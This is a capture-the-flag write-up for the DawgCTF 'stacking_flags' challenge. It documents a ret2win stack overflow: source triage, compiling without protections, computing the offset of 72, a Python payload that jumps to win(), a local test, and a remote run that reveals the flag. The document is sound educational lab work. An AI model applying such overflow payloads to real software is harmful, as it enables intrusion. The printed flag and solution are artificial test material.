stacking_flags
Challenge
Imported from local notes.md.
Solution
Original Notes
stacking_flags
Challenge Summary
- Given: The challenge description pointed to a live service at
nc.umbccd.net:8921and stated it was running the same code published in the official DawgCTF repository underStacking flags. - Goal: Recover the flag from the remote service.
- Constraints: Interact with the remote network service and rely on the published source as ground truth.
Initial Recon / Triage
- Observations:
starting_files/was empty locally, so the first task was reconstructing the published challenge source inside the workspace. The published C source contains a classic stack overflow viagets(buffer)into a 64-byte stack buffer. - File identification: The relevant source is
starting_files/Stacking_flags.c, a 64-bit ELF target when compiled with the provided flags. - Entry points:
main()callsvulnerable_function(), which reads attacker-controlled input and returns. A separatewin()function opensflag.txtand prints it.
Hypotheses & Approach
- Hypothesis 1: Because the binary is compiled with
-no-pieand without stack protection, the address ofwin()is static and can be used directly in a return-to-win exploit. - Hypothesis 2: On x86_64, overflowing the 64-byte buffer plus the saved base pointer should place the saved return address at offset 72.
Execution Steps (Reproducible)
Stage 1
Commands:
cd /root/dawg2026CTF/stacking_flags
gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration \
starting_files/Stacking_flags.c -o artifacts/stacking_flags_local
checksec --file=artifacts/stacking_flags_local
objdump -d artifacts/stacking_flags_local | sed -n '/<vulnerable_function>/,/^$/p'
Results:
checksecconfirmedNo PIE,No canary found, andNX disabled.- Disassembly of
vulnerable_functionshowed a 64-byte stack allocation (sub $0x40, %rsp), which means the saved return pointer is reachable after 64 bytes of buffer data plus 8 bytes of savedrbp, for a total offset of 72. - The compiled local binary placed
win()at0x4011a6.
Stage 2
Commands:
cd /root/dawg2026CTF/stacking_flags/artifacts
printf 'LOCAL_TEST_FLAG\n' > flag.txt
python3 - <<'PY'
import struct, subprocess
payload = b'A' * 72 + struct.pack('<Q', 0x4011a6) + b'\n'
res = subprocess.run(['./stacking_flags_local'], input=payload, capture_output=True)
print(res.stdout.decode('latin1', 'replace'))
PY
Results:
- The local binary returned into
win()and printedLOCAL_TEST_FLAG, confirming the offset and target address.
Stage 3
Commands:
cd /root/dawg2026CTF/stacking_flags
python3 artifacts/exploit.py
Results:
- The remote service responded with the real flag:
DawgCTF{$taching_br1cks}.
Artifacts Produced
starting_files/Stacking_flags.c- reconstructed published challenge source.artifacts/stacking_flags_local- local reproduction binary compiled from the published source.artifacts/exploit.py- final ret2win exploit used against the remote service.
Flag
DawgCTF{$taching_br1cks}